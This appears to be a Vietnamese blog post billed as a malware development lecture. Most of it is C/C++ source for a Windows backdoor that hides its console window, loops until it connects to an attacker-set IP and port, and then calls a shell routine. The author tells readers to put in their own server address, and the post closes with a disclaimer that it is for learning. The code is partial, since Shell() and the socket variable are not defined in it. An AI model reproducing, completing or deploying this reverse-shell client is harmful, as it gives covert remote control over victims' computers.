[C++] Malware development lecture 1B

Hi mọi người, ngồi tìm hiểu về việc viết chương trình độc hại thì mình tìm thấy một bài giảng này cũng khá hay, nhưng với những thứ mình tìm hiểu và mình biết thì việc viết chương trình mã độc này thì đơn giản, nhưng để vượt được chương trình diệt virus lại khó.

Malware development lecture 1B
Các bạn có thể tìm hiểu về vấn đề trên qua đoạn code bên dưới.

FULL SOURCE CODE.

//header files

#include <stdio.h> //standard input/output
#include <stdlib.h> //standard utilities library
#include <unistd.h> //access to the POSIX operating system API
#include <winsock2.h> //windows sockets
#include <windows.h> //declarations for all functions in Windows API
#include <winuser.h> //windows controls
#include <wininet.h> //windows internet interfaces
#include <windowsx.h> //windows programming interfaces
#include <string.h> //manupulate strings (char arrays)
#include <sys/stat.h> //stat() function prototypes
#include <sys/types.h> //other function prototypes

//FUNCTION DEFINITION

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
//create new window handle
HWND stealth;
AllocConsole();
stealth = FindWindowA(“ConsoleWindowClass”, NULL); //window name = NULL
ShowWindow(stealth, 0); //nCmdShow = 0 hides window
//create socket object
struct sockaddr_in ServAddr;
WSADATA wsaData; //contain winsock.dll info

//check winsock.dll status
if (WSAStartup(MAKEWORD(2,0), &wsaData) != 0)
{
	exit(1);
}

//define socket object
sock = socket(AF_INET, SOCK_STREAM, 0); //establish tcp connection
//set host IP Address and Port [EDIT HERE]
char *ServIP = "192.168.56.1";
unsigned short ServPort = 50000;
memset(&ServAddr, 0, sizeof(ServAddr)); //flush ServAddr with 0

//set ServAddr parameters
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP); //covert string to IPv4 format
ServAddr.sin_port = htons(ServPort); //convert to network byte order


//wait for server connection to establish
start :
while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0)
{
	Sleep(10);
	goto start;
}

Shell();
}

Qua đoạn code phía trên ở phần ServIP các bạn thay địa chỉ ip tới máy chủ của các bạn và thay đổi ServPort của các bạn luôn nhé. Để nó gửi thông tin lên máy chủ của các bạn.

VIDEO DEMO MALWARE

Chúc mọi người thành công với thủ thuật trên nhé.
 

LƯU Ý Mình cũng khuyên cáo là đây là bài viết hướng dẫn và tìm hiểu cách hoạt động của mã độc, để mọi người tìm hiểu và học cách bảo mật máy tính thật tốt nhé. Chứ không khuyến khích các bạn virus riêng cho bản thân và phát tán nó nhé.

PASSWORD UNZIP: HUNG.PRO.VN
Chúc Mọi Người Thành Công Với Thủ Thuật Trên.
Nếu mọi người có vướng mắc gì mình chia sẽ trên trang có thể gửi liên hê cho mình tại đây nhé.
Cảm ơn mọi người đã quan tâm.

1 comment:

Hung Program VN said...

Chất lượng không mọi người <3

All Right Reserved © 2015 By Hung Pro VN